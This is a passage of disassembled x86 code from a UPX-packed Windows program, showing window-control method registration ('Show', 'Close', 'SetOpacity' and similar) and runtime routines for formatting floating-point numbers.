sub_41889D+113j ; sub_41889D+128j mov esi, [ebp+20Ch+var_22C] push [ebp+20Ch+var_21C] mov ecx, esi call sub_40534A push offset dword_4242D4 push esi lea ebx, [ebp+20Ch+var_220] call sub_404C9D lea eax, [ebp+20Ch+var_248] push eax mov eax, [ebp+20Ch+var_220] push offset dword_424394 push [ebp+20Ch+var_234] call sub_4014D6 mov eax, [ebp+20Ch+var_220] mov ecx, [eax] push 0 push eax call dword ptr [ecx+100h] push dword ptr [esi] call dword_41D354 ; SetFocus mov eax, [ebp+20Ch+var_220] mov ecx, [eax] lea edx, [ebp+20Ch+var_230] push edx push eax call dword ptr [ecx+48h] mov edx, [ebp+20Ch+var_228] mov eax, [ebp+20Ch+var_230] mov ecx, [eax] add edx, 34h push edx push offset dword_424384 push eax call dword ptr [ecx] mov eax, [ebp+20Ch+var_220] mov ecx, [eax] push eax call dword ptr [ecx+8] push [ebp+20Ch+var_21C] call edi ; dword_41D25C xor eax, eax mov ecx, [ebp+20Ch+var_218] mov large fs:0, ecx pop ecx pop edi pop esi pop ebx mov ecx, [ebp+20Ch+var_4] xor ecx, ebp call sub_40AC1C add ebp, 20Ch leave retn sub_41889D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418A6B proc near ; DATA XREF: UPX0:00423FF0o ; UPX0:00424C2Co ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp cmp [ebp+arg_4], 186A0h mov eax, 80004001h jl short loc_418A92 push ebx push [ebp+arg_18] mov ebx, [ebp+arg_0] push [ebp+arg_14] add ebx, 0FFFFFFDCh push [ebp+arg_4] call sub_4186D9 pop ebx loc_418A92: ; CODE XREF: sub_418A6B+Fj pop ebp retn 24h sub_418A6B endp ; =============== S U B R O U T I N E ======================================= sub_418A96 proc near ; CODE XREF: sub_408D98+15p ; sub_4091FA+15p ... push 4 mov eax, offset loc_41C107 call sub_40C46D mov edi, [ebp+8] mov eax, dword_41D278 xor ebx, ebx mov [edi+4], ebx mov [edi+14h], ebx mov [edi+18h], ebx mov [edi+1Ch], ebx mov [edi+20h], eax mov [ebp-4], ebx push dword ptr [ebp+0Ch] lea esi, [edi+2Ch] mov dword ptr [edi], offset off_423FBC mov dword ptr [edi+24h], (offset loc_423FD7+1) call sub_4011E3 mov byte ptr [ebp-4], 1 mov [edi+30h], ebx call sub_404725 lea esi, [edi+3Ch] push 4 mov [edi+38h], bl mov [ebp+0Ch], esi call sub_40B45F pop ecx cmp eax, ebx jz short loc_418AFB mov [eax], esi jmp short loc_418AFD ; --------------------------------------------------------------------------- loc_418AFB: ; CODE XREF: sub_418A96+5Fj xor eax, eax loc_418AFD: ; CODE XREF: sub_418A96+63j mov [esi], eax mov byte ptr [ebp-4], 2 call sub_406458 lea ecx, [esi+18h] mov [ecx], eax mov byte ptr [eax+49h], 1 mov eax, [ecx] mov [eax+4], eax mov eax, [ecx] mov [eax], eax mov ecx, [ecx] mov [ecx+8], ecx mov [esi+1Ch], ebx xor ecx, ecx push ecx mov eax, offset sub_417C70 push eax push ebx push offset aShow ; "Show" mov ecx, edi mov byte ptr [ebp-4], 3 call sub_418122 xor ecx, ecx push ecx mov eax, offset loc_4071FE push eax push ebx push offset aClose ; "Close" mov ecx, edi call sub_418122 xor ecx, ecx push ecx mov eax, offset loc_417A4D push eax push ebx push offset aSettitle ; "SetTitle" mov ecx, edi call sub_418122 xor ecx, ecx push ecx mov eax, offset loc_417A38 push eax push ebx push offset aDragwindow ; "DragWindow" mov ecx, edi call sub_418122 xor ecx, ecx push ecx mov eax, offset loc_417A12 push eax push ebx push offset aResizewindow ; "ResizeWindow" mov ecx, edi call sub_418122 xor ecx, ecx push ecx mov eax, offset loc_417A04 push eax push ebx push offset aMinimizewindow ; "MinimizeWindow" mov ecx, edi call sub_418122 xor ecx, ecx push ecx mov eax, offset loc_417C42 push eax push ebx push offset aTogglemaximize ; "ToggleMaximizeNormalWindow" mov ecx, edi call sub_418122 xor ecx, ecx push ecx mov eax, offset loc_4179AF push eax push ebx push offset aSetopacity ; "SetOpacity" mov ecx, edi call sub_418122 mov eax, edi call sub_40C50C retn 8 sub_418A96 endp ; sp-analysis failed ; [00000048 BYTES: COLLAPSED FUNCTION __SEH_prolog4_GS. PRESS KEYPAD "+" TO EXPAND] ; [0000000F BYTES: COLLAPSED FUNCTION __SEH_epilog4_GS. PRESS KEYPAD "+" TO EXPAND] ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_418C38 proc near ; CODE XREF: sub_418C98+5p mov eax, offset sub_419823 mov dword_42ACF0, eax mov dword_42ACF4, offset sub_418F0A mov dword_42ACF8, offset sub_418EBE mov dword_42ACFC, offset sub_418EF7 mov dword_42AD00, offset sub_418E60 mov dword_42AD04, eax mov dword_42AD08, offset sub_41979B mov dword_42AD0C, offset sub_418E7C mov dword_42AD10, offset sub_418DDE mov dword_42AD14, offset sub_418D6B retn sub_418C38 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418C98 proc near ; CODE XREF: sub_40DB8F+20p ; DATA XREF: UPX0:off_424D00o arg_0 = dword ptr 8 mov edi, edi push ebp mov ebp, esp call sub_418C38 call sub_4198AF cmp [ebp+arg_0], 0 mov dword_42F130, eax jz short loc_418CB7 call sub_419846 loc_418CB7: ; CODE XREF: sub_418C98+18j fnclex pop ebp retn sub_418C98 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_418CC0 proc near ; CODE XREF: sub_4098E0+1FAp var_24 = dword ptr -24h var_14 = qword ptr -14h var_C = qword ptr -0Ch var_4 = word ptr -4 cmp dword_430144, 0 jz short loc_418CF6 loc_418CC9: ; CODE XREF: sub_418CC0+34j push ebp mov ebp, esp sub esp, 8 and esp, 0FFFFFFF8h fstp [esp+0Ch+var_C] cvttsd2si eax, [esp+0Ch+var_C] leave retn ; --------------------------------------------------------------------------- cmp dword_430144, 0 jz short loc_418CF6 sub esp, 4 fnstcw [esp+4+var_4] pop eax and ax, 7Fh cmp ax, 7Fh jz short loc_418CC9 loc_418CF6: ; CODE XREF: sub_418CC0+7j ; sub_418CC0+23j push ebp mov ebp, esp sub esp, 20h and esp, 0FFFFFFF0h fld st fst dword ptr [esp+24h+var_C] fistp [esp+24h+var_14] fild [esp+24h+var_14] mov edx, dword ptr [esp+24h+var_C] mov eax, dword ptr [esp+24h+var_14] test eax, eax jz short loc_418D55 loc_418D19: ; CODE XREF: sub_418CC0+9Fj fsubp st(1), st test edx, edx jns short loc_418D3D fstp [esp+24h+var_24] mov ecx, [esp+24h+var_24] xor ecx, 80000000h add ecx, 7FFFFFFFh adc eax, 0 mov edx, dword ptr [esp+24h+var_14+4] adc edx, 0 jmp short locret_418D69 ; --------------------------------------------------------------------------- loc_418D3D: ; CODE XREF: sub_418CC0+5Dj fstp [esp+24h+var_24] mov ecx, [esp+24h+var_24] add ecx, 7FFFFFFFh sbb eax, 0 mov edx, dword ptr [esp+24h+var_14+4] sbb edx, 0 jmp short locret_418D69 ; --------------------------------------------------------------------------- loc_418D55: ; CODE XREF: sub_418CC0+57j mov edx, dword ptr [esp+24h+var_14+4] test edx, 7FFFFFFFh jnz short loc_418D19 fstp dword ptr [esp+24h+var_C] fstp dword ptr [esp+24h+var_C] locret_418D69: ; CODE XREF: sub_418CC0+7Bj ; sub_418CC0+93j leave retn sub_418CC0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418D6B proc near ; CODE XREF: sub_418EF7+Ap ; DATA XREF: sub_418C38+55o var_10 = dword ptr -10h var_8 = dword ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch mov edi, edi push ebp mov ebp, esp sub esp, 10h push esi push [ebp+arg_4] lea ecx, [ebp+var_10] call sub_40C799 mov esi, [ebp+arg_0] movsx eax, byte ptr [esi] push eax call sub_4166BA cmp eax, 65h jmp short loc_418D9C ; --------------------------------------------------------------------------- loc_418D90: ; CODE XREF: sub_418D6B+32j inc esi movzx eax, byte ptr [esi] push eax call sub_415847 test eax, eax loc_418D9C: ; CODE XREF: sub_418D6B+23j pop ecx jnz short loc_418D90 movsx eax, byte ptr [esi] push eax call sub_4166BA pop ecx cmp eax, 78h jnz short loc_418DB0 inc esi inc esi loc_418DB0: ; CODE XREF: sub_418D6B+41j mov ecx, [ebp+var_10] mov ecx, [ecx+0BCh] mov ecx, [ecx] mov al, [esi] mov cl, [ecx] mov [esi], cl inc esi loc_418DC2: ; CODE XREF: sub_418D6B+62j mov cl, [esi] mov [esi], al mov al, cl mov cl, [esi] inc esi test cl, cl jnz short loc_418DC2 pop esi cmp [ebp+var_4], cl jz short locret_418DDC mov eax, [ebp+var_8] and dword ptr [eax+70h], 0FFFFFFFDh locret_418DDC: ; CODE XREF: sub_418D6B+68j leave retn sub_418D6B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418DDE proc near ; CODE XREF: sub_418F0A+Ap ; DATA XREF: sub_418C38+4Bo var_10 = dword ptr -10h var_8 = dword ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch mov edi, edi push ebp mov ebp, esp sub esp, 10h push esi push [ebp+arg_4] lea ecx, [ebp+var_10] call sub_40C799 mov eax, [ebp+arg_0] mov cl, [eax] mov esi, [ebp+var_10] test cl, cl jz short loc_418E13 mov edx, [esi+0BCh] mov edx, [edx] mov dl, [edx] loc_418E08: ; CODE XREF: sub_418DDE+33j cmp cl, dl jz short loc_418E13 inc eax mov cl, [eax] test cl, cl jnz short loc_418E08 loc_418E13: ; CODE XREF: sub_418DDE+1Ej ; sub_418DDE+2Cj mov cl, [eax] inc eax test cl, cl jz short loc_418E50 jmp short loc_418E27 ; --------------------------------------------------------------------------- loc_418E1C: ; CODE XREF: sub_418DDE+4Dj cmp cl, 65h jz short loc_418E2D cmp cl, 45h jz short loc_418E2D inc eax loc_418E27: ; CODE XREF: sub_418DDE+3Cj mov cl, [eax] test cl, cl jnz short loc_418E1C loc_418E2D: ; CODE XREF: sub_418DDE+41j ; sub_418DDE+46j mov edx, eax loc_418E2F: ; CODE XREF: sub_418DDE+55j dec eax cmp byte ptr [eax], 30h jz short loc_418E2F mov ecx, [esi+0BCh] mov ecx, [ecx] push ebx mov bl, [eax] cmp bl, [ecx] pop ebx jnz short loc_418E46 dec eax loc_418E46: ; CODE XREF: sub_418DDE+65j ; sub_418DDE+70j mov cl, [edx] inc eax inc edx mov [eax], cl test cl, cl jnz short loc_418E46 loc_418E50: ; CODE XREF: sub_418DDE+3Aj cmp [ebp+var_4], 0 pop esi jz short locret_418E5E mov eax, [ebp+var_8] and dword ptr [eax+70h], 0FFFFFFFDh locret_418E5E: ; CODE XREF: sub_418DDE+77j leave retn sub_418DDE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418E60 proc near ; DATA XREF: sub_418C38+28o arg_0 = dword ptr 8 mov edi, edi push ebp mov ebp, esp fldz mov eax, [ebp+arg_0] fcomp qword ptr [eax] fnstsw ax test ah, 41h jp short loc_418E78 xor eax, eax inc eax pop ebp retn ; --------------------------------------------------------------------------- loc_418E78: ; CODE XREF: sub_418E60+11j xor eax, eax pop ebp retn sub_418E60 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418E7C proc near ; CODE XREF: sub_418EBE+10p ; DATA XREF: sub_418C38+41o var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h mov edi, edi push ebp mov ebp, esp push ecx push ecx cmp [ebp+arg_0], 0 push [ebp+arg_C] push [ebp+arg_8] jz short loc_418EA8 lea eax, [ebp+var_8] push eax call sub_4198D8 mov ecx, [ebp+var_8] mov eax, [ebp+arg_4] mov [eax], ecx mov ecx, [ebp+var_4] mov [eax+4], ecx jmp short loc_418EB9 ; --------------------------------------------------------------------------- loc_418EA8: ; CODE XREF: sub_418E7C+11j lea eax, [ebp+arg_0] push eax call sub_419980 mov eax, [ebp+arg_4] mov ecx, [ebp+arg_0] mov [eax], ecx loc_418EB9: ; CODE XREF: sub_418E7C+2Aj add esp, 0Ch leave retn sub_418E7C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418EBE proc near ; DATA XREF: sub_418C38+14o arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h mov edi, edi push ebp mov ebp, esp push 0 push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_418E7C add esp, 10h pop ebp retn sub_418EBE endp ; =============== S U B R O U T I N E ======================================= sub_418ED8 proc near ; CODE XREF: sub_418F1D+8Ap ; sub_4194EF+8Cp ... mov edi, edi push esi mov esi, eax test edi, edi jz short loc_418EF5 push esi call sub_40BFB0 inc eax push eax push esi add esi, edi push esi call sub_40CA30 add esp, 10h loc_418EF5: ; CODE XREF: sub_418ED8+7j pop esi retn sub_418ED8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418EF7 proc near ; DATA XREF: sub_418C38+1Eo arg_0 = dword ptr 8 mov edi, edi push ebp mov ebp, esp push 0 push [ebp+arg_0] call sub_418D6B pop ecx pop ecx pop ebp retn sub_418EF7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418F0A proc near ; DATA XREF: sub_418C38+Ao arg_0 = dword ptr 8 mov edi, edi push ebp mov ebp, esp push 0 push [ebp+arg_0] call sub_418DDE pop ecx pop ecx pop ebp retn sub_418F0A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418F1D proc near ; CODE XREF: sub_41908C+B9p ; sub_4196A1+E3p var_10 = dword ptr -10h var_8 = dword ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = byte ptr 18h arg_14 = dword ptr 1Ch mov edi, edi push ebp mov ebp, esp sub esp, 10h push ebx push esi push edi push [ebp+arg_14] lea ecx, [ebp+var_10] mov ebx, eax call sub_40C799 xor esi, esi cmp ebx, esi jnz short loc_418F66 loc_418F3B: ; CODE XREF: sub_418F1D+4Cj call sub_40C862 push 16h loc_418F42: ; CODE XREF: sub_418F1D+69j pop edi push esi push esi push esi push esi push esi mov [eax], edi call sub_40B255 add esp, 14h cmp [ebp+var_4], 0 jz short loc_418F5F mov eax, [ebp+var_8] and dword ptr [eax+70h], 0FFFFFFFDh loc_418F5F: ; CODE XREF: sub_418F1D+39j mov eax, edi jmp loc_419087 ; --------------------------------------------------------------------------- loc_418F66: ; CODE XREF: sub_418F1D+1Cj cmp [ebp+arg_0], esi jbe short loc_418F3B cmp [ebp+arg_4], esi jle short loc_418F75 mov eax, [ebp+arg_4] jmp short loc_418F77 ; --------------------------------------------------------------------------- loc_418F75: ; CODE XREF: sub_418F1D+51j xor eax, eax loc_418F77: ; CODE XREF: sub_418F1D+56j add eax, 9 cmp [ebp+arg_0], eax ja short loc_418F88 call sub_40C862 push 22h jmp short loc_418F42 ; --------------------------------------------------------------------------- loc_418F88: ; CODE XREF: sub_418F1D+60j cmp [ebp+arg_10], 0 jz short loc_418FAC mov edx, [ebp+arg_C] xor eax, eax cmp [ebp+arg_4], esi setnle al xor ecx, ecx cmp dword ptr [edx], 2Dh setz cl mov edi, eax add ecx, ebx mov eax, ecx call sub_418ED8 loc_418FAC: ; CODE XREF: sub_418F1D+6Fj mov edi, [ebp+arg_C] cmp dword ptr [edi], 2Dh mov esi, ebx jnz short loc_418FBC mov byte ptr [ebx], 2Dh lea esi, [ebx+1] loc_418FBC: ; CODE XREF: sub_418F1D+97j cmp [ebp+arg_4], 0 jle short loc_418FDA lea eax, [esi+1] mov cl, [eax] mov [esi], cl mov esi, eax mov eax, [ebp+var_10] mov eax, [eax+0BCh] mov eax, [eax] mov al, [eax] mov [esi], al loc_418FDA: ; CODE XREF: sub_418F1D+A3j xor eax, eax cmp [ebp+arg_10], al setz al add eax, [ebp+arg_4] add esi, eax cmp [ebp+arg_0], 0FFFFFFFFh jnz short loc_418FF2 or ebx, 0FFFFFFFFh jmp short loc_418FF7 ; --------------------------------------------------------------------------- loc_418FF2: ; CODE XREF: sub_418F1D+CEj sub ebx, esi add ebx, [ebp+arg_0] loc_418FF7: ; CODE XREF: sub_418F1D+D3j push offset byte_424D0C push ebx push esi call sub_40CD95 add esp, 0Ch xor ebx, ebx test eax, eax jz short loc_419019 push ebx push ebx push ebx push ebx push ebx call sub_40B12D add esp, 14h loc_419019: ; CODE XREF: sub_418F1D+EDj lea ecx, [esi+2] cmp [ebp+arg_8], ebx jz short loc_419024 mov byte ptr [esi], 45h loc_419024: ; CODE XREF: sub_418F1D+102j mov eax, [edi+0Ch] inc esi cmp byte ptr [eax], 30h jz short loc_41905B mov eax, [edi+4] dec eax jns short loc_419038 neg eax mov byte ptr [esi], 2Dh loc_419038: ; CODE XREF: sub_418F1D+114j inc esi cmp eax, 64h jl short loc_419048 cdq push 64h pop edi idiv edi add [esi], al mov eax, edx loc_419048: ; CODE XREF: sub_418F1D+11Fj inc esi cmp eax, 0Ah jl short loc_419058 cdq push 0Ah pop edi idiv edi add [esi], al mov eax, edx loc_419058: ; CODE XREF: sub_418F1D+12Fj add [esi+1], al loc_41905B: ; CODE XREF: sub_418F1D+10Ej test byte_42F134, 1 jz short loc_419078 cmp byte ptr [ecx], 30h jnz short loc_419078 push 3 lea eax, [ecx+1] push eax push ecx call sub_40CA30 add esp, 0Ch loc_419078: ; CODE XREF: sub_418F1D+145j ; sub_418F1D+14Aj cmp [ebp+var_4], 0 jz short loc_419085 mov eax, [ebp+var_8] and dword ptr [eax+70h], 0FFFFFFFDh loc_419085: ; CODE XREF: sub_418F1D+15Fj xor eax, eax loc_419087: ; CODE XREF: sub_418F1D+44j pop edi pop esi pop ebx leave retn sub_418F1D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41908C proc near ; CODE XREF: sub_41915C+16p ; sub_41979B+7Ep var_2C = dword ptr -2Ch var_1C = byte ptr -1Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch mov edi, edi push ebp mov ebp, esp sub esp, 2Ch mov eax, dword_42A034 xor eax, ebp mov [ebp+var_4], eax mov eax, [ebp+arg_0] push ebx push esi push edi mov edi, [ebp+arg_4] push 16h pop esi push esi lea ecx, [ebp+var_1C] push ecx lea ecx, [ebp+var_2C] push ecx push dword ptr [eax+4] push dword ptr [eax] call sub_419BA4 xor ebx, ebx add esp, 14h cmp edi, ebx jnz short loc_4190DE loc_4190C6: ; CODE XREF: sub_41908C+57j call sub_40C862 push ebx push ebx push ebx push ebx push ebx mov [eax], esi call sub_40B255 add esp, 14h mov eax, esi jmp short loc_41914D ; --------------------------------------------------------------------------- loc_4190DE: ; CODE XREF: sub_41908C+38j mov eax, [ebp+arg_8] cmp eax, ebx jbe short loc_4190C6 mov esi, [ebp+arg_C] cmp eax, 0FFFFFFFFh jnz short loc_4190F2 or eax, 0FFFFFFFFh jmp short loc_419106 ; --------------------------------------------------------------------------- loc_4190F2: ; CODE XREF: sub_41908C+5Fj xor ecx, ecx cmp [ebp+var_2C], 2Dh setz cl sub eax, ecx xor ecx, ecx cmp esi, ebx setnle cl sub eax, ecx loc_419106: ; CODE XREF: sub_41908C+64j lea ecx, [ebp+var_2C] push ecx lea ecx, [esi+1] push ecx push eax xor eax, eax cmp [ebp+var_2C], 2Dh setz al xor ecx, ecx cmp esi, ebx setnle cl add eax, edi add ecx, eax push ecx call sub_419A28 add esp, 10h cmp eax, ebx jz short loc_419134 mov [edi], bl jmp short loc_41914D ; --------------------------------------------------------------------------- loc_419134: ; CODE XREF: sub_41908C+A2j push [ebp+arg_14] lea eax, [ebp+var_2C] push ebx push eax push [ebp+arg_10] mov eax, edi push esi push [ebp+arg_8] call sub_418F1D add esp, 18h loc_41914D: ; CODE XREF: sub_41908C+50j ; sub_41908C+A6j mov ecx, [ebp+var_4] pop edi pop esi xor ecx, ebp pop ebx call sub_40AC1C leave retn sub_41908C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41915C proc near ; CODE XREF: sub_41917C+BFp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h mov edi, edi push ebp mov ebp, esp push 0 push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_41908C add esp, 18h pop ebp retn sub_41915C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41917C proc near ; CODE XREF: sub_41979B+65p var_24 = dword ptr -24h var_1C = dword ptr -1Ch var_18 = byte ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch mov edi, edi push ebp mov ebp, esp sub esp, 24h push esi push edi push [ebp+arg_14] lea ecx, [ebp+var_24] mov [ebp+var_14], 3FFh xor edi, edi mov [ebp+var_4], 30h call sub_40C799 cmp [ebp+arg_C], edi jge short loc_4191A9 mov [ebp+arg_C], edi loc_4191A9: ; CODE XREF: sub_41917C+28j mov esi, [ebp+arg_4] cmp esi, edi jnz short loc_4191DB loc_4191B0: ; CODE XREF: sub_41917C+62j call sub_40C862 push 16h loc_4191B7: ; CODE XREF: sub_41917C+79j pop esi push edi push edi push edi push edi push edi mov [eax], esi call sub_40B255 add esp, 14h cmp [ebp+var_18], 0 jz short loc_4191D4 mov eax, [ebp+var_1C] and dword ptr [eax+70h], 0FFFFFFFDh loc_4191D4: ; CODE XREF: sub_41917C+4Fj mov eax, esi jmp loc_4194EB ; --------------------------------------------------------------------------- loc_4191DB: ; CODE XREF: sub_41917C+32j cmp [ebp+arg_8], edi jbe short loc_4191B0 mov eax, [ebp+arg_C] add eax, 0Bh mov byte ptr [esi], 0 cmp [ebp+arg_8], eax ja short loc_4191F7 call sub_40C862 push 22h jmp short loc_4191B7 ; --------------------------------------------------------------------------- loc_4191F7: ; CODE XREF: sub_41917C+70j mov edi, [ebp+arg_0] mov eax, [edi] mov [ebp+var_C], eax mov eax, [edi+4] mov ecx, eax shr ecx, 14h mov edx, 7FFh push ebx and ecx, edx xor ebx, ebx cmp ecx, edx jnz loc_4192A9 test ebx, ebx jnz loc_4192A9 mov eax, [ebp+arg_8] cmp eax, 0FFFFFFFFh jnz short loc_41922D or eax, eax jmp short loc_419230 ; --------------------------------------------------------------------------- loc_41922D: ; CODE XREF: sub_41917C+ABj add eax, 0FFFFFFFEh loc_419230: ; CODE XREF: sub_41917C+AFj push 0 push [ebp+arg_C] lea ebx, [esi+2] push eax push ebx push edi call sub_41915C add esp, 14h test eax, eax jz short loc_419260 cmp [ebp+var_18], 0 mov byte ptr [esi], 0 jz loc_4194EA mov ecx, [ebp+var_1C] and dword ptr [ecx+70h], 0FFFFFFFDh jmp loc_4194EA ; --------------------------------------------------------------------------- loc_419260: ; CODE XREF: sub_41917C+C9j cmp byte ptr [ebx], 2Dh jnz short loc_419269 mov byte ptr [esi], 2Dh inc esi loc_419269: ; CODE XREF: sub_41917C+E7j mov byte ptr [esi], 30h inc esi cmp [ebp+arg_10], 0 push 65h setz al dec al and al, 0E0h add al, 78h mov [esi], al inc esi push esi call sub_415CA0 pop ecx pop ecx test eax, eax jz loc_4194DB cmp [ebp+arg_10], 0 setz cl dec cl and cl, 0E0h add cl, 70h mov [eax], cl mov byte ptr [eax+3], 0 jmp loc_4194DB ; --------------------------------------------------------------------------- loc_4192A9: ; CODE XREF: sub_41917C+97j ; sub_41917C+9Fj and eax, 80000000h xor ecx, ecx or ecx, eax jz short loc_4192B8 mov byte ptr [esi], 2Dh inc esi loc_4192B8: ; CODE XREF: sub_41917C+136j mov ebx, [ebp+arg_10] mov byte ptr [esi], 30h inc esi test ebx, ebx setz al dec al and al, 0E0h add al, 78h mov [esi], al mov ecx, [edi+4] inc esi neg ebx sbb ebx, ebx and ebx, 0FFFFFFE0h and ecx, 7FF00000h xor eax, eax add ebx, 27h xor edx, edx or eax, ecx jnz short loc_419309 mov byte ptr [esi], 30h mov ecx, [edi+4] mov eax, [edi] and ecx, 0FFFFFh inc esi or eax, ecx jnz short loc_419300 mov [ebp+var_14], edx jmp short loc_41930D ; --------------------------------------------------------------------------- loc_419300: ; CODE XREF: sub_41917C+17Dj mov [ebp+var_14], 3FEh jmp short loc_41930D ; --------------------------------------------------------------------------- loc_419309: ; CODE XREF: sub_41917C+16Aj mov byte ptr [esi], 31h inc esi loc_41930D: ; CODE XREF: sub_41917C+182j ; sub_41917C+18Bj mov eax, esi inc esi mov [ebp+arg_4], eax cmp [ebp+arg_C], edx jnz short loc_41931C mov [eax], dl jmp short loc_41932B ; --------------------------------------------------------------------------- loc_41931C: ; CODE XREF: sub_41917C+19Aj mov ecx, [ebp+var_24] mov ecx, [ecx+0BCh] mov ecx, [ecx] mov cl, [ecx] mov [eax], cl loc_41932B: ; CODE XREF: sub_41917C+19Ej mov ecx, [edi+4] mov eax, [edi] and ecx, 0FFFFFh mov [ebp+var_8], ecx ja short loc_419343 cmp eax, edx jbe loc_4193F8 loc_419343: ; CODE XREF: sub_41917C+1BDj mov [ebp+var_C], edx mov [ebp+var_8], 0F0000h loc_41934D: ; CODE XREF: sub_41917C+222j cmp [ebp+arg_C], 0 jle short loc_4193A0 mov edx, [edi+4] and edx, [ebp+var_8] mov eax, [edi] movsx ecx, word ptr [ebp+var_4] and eax, [ebp+var_C] and edx, 0FFFFFh call sub_419D20 add ax, 30h movzx eax, ax cmp ax, 39h jbe short loc_41937C add eax, ebx loc_41937C: ; CODE XREF: sub_41917C+1FCj mov ecx, [ebp+var_8] sub [ebp+var_4], 4 mov [esi], al mov eax, [ebp+var_C] shrd eax, ecx, 4 shr ecx, 4 inc esi dec [ebp+arg_C] cmp word ptr [ebp+var_4], 0 mov [ebp+var_C], eax mov [ebp+var_8], ecx jge short loc_41934D loc_4193A0: ; CODE XREF: sub_41917C+1D5j cmp word ptr [ebp+var_4], 0 jl short loc_4193F8 mov edx, [edi+4] and edx, [ebp+var_8] mov eax, [edi] movsx ecx, word ptr [ebp+var_4] and eax, [ebp+var_C] and edx, 0FFFFFh call sub_419D20 cmp ax, 8 jbe short loc_4193F8 lea eax, [esi-1] loc_4193CA: ; CODE XREF: sub_41917C+25Ej mov cl, [eax] cmp cl, 66h jz short loc_4193D6 cmp cl, 46h jnz short loc_4193DC loc_4193D6: ; CODE XREF: sub_41917C+253j mov byte ptr [eax], 30h dec eax jmp short loc_4193CA ; --------------------------------------------------------------------------- loc_4193DC: ; CODE XREF: sub_41917C+258j cmp eax, [ebp+arg_4] jz short loc_4193F5 mov cl, [eax] cmp cl, 39h jnz short loc_4193EF add bl, 3Ah mov [eax], bl jmp short loc_4193F8 ; --------------------------------------------------------------------------- loc_4193EF: ; CODE XREF: sub_41917C+26Aj inc cl mov [eax], cl jmp short loc_4193F8 ; --------------------------------------------------------------------------- loc_4193F5: ; CODE XREF: sub_41917C+263j inc byte ptr [eax-1] loc_4193F8: ; CODE XREF: sub_41917C+1C1j ; sub_41917C+229j ... cmp [ebp+arg_C], 0 jle short loc_41940F push [ebp+arg_C] push 30h push esi call sub_40BD40 add esp, 0Ch add esi, [ebp+arg_C] loc_41940F: ; CODE XREF: sub_41917C+280j mov eax, [ebp+arg_4] cmp byte ptr [eax], 0 jnz short loc_419419 mov esi, eax loc_419419: ; CODE XREF: sub_41917C+299j cmp [ebp+arg_10], 0 mov cl, 34h setz al dec al and al, 0E0h add al, 70h mov [esi], al mov eax, [edi] mov edx, [edi+4] inc esi call sub_419D20 xor ebx, ebx and eax, 7FFh and edx, ebx sub eax, [ebp+var_14] push ebx pop ecx sbb edx, ecx js short loc_419453 jg short loc_41944D cmp eax, ebx jb short loc_419453 loc_41944D: ; CODE XREF: sub_41917C+2CBj mov byte ptr [esi], 2Bh inc esi jmp short loc_41945D ; --------------------------------------------------------------------------- loc_419453: ; CODE XREF: sub_41917C+2C9j ; sub_41917C+2CFj mov byte ptr [esi], 2Dh inc esi neg eax adc edx, ebx neg edx loc_41945D: ; CODE XREF: sub_41917C+2D5j cmp edx, ebx mov edi, esi mov byte ptr [esi], 30h jl short loc_41948A mov ecx, 3E8h jg short loc_419471 cmp eax, ecx jb short loc_41948A loc_419471: ; CODE XREF: sub_41917C+2EFj push ebx push ecx push edx push eax call sub_419C40 add al, 30h mov [esi], al inc esi mov [ebp+var_10], edx mov eax, ecx mov edx, ebx cmp esi, edi jnz short loc_419495 loc_41948A: ; CODE XREF: sub_41917C+2E8j ; sub_41917C+2F3j test edx, edx jl short loc_4194AC jg short loc_419495 cmp eax, 64h jb short loc_4194AC loc_419495: ; CODE XREF: sub_41917C+30Cj ; sub_41917C+312j push 0 push 64h push edx push eax call sub_419C40 add al, 30h mov [esi], al mov [ebp+var_10], edx inc esi mov eax, ecx mov edx, ebx loc_4194AC: ; CODE XREF: sub_41917C+310j ; sub_41917C+317j cmp esi, edi jnz short loc_4194BB test edx, edx jl short loc_4194D3 jg short loc_4194BB cmp eax, 0Ah jb short loc_4194D3 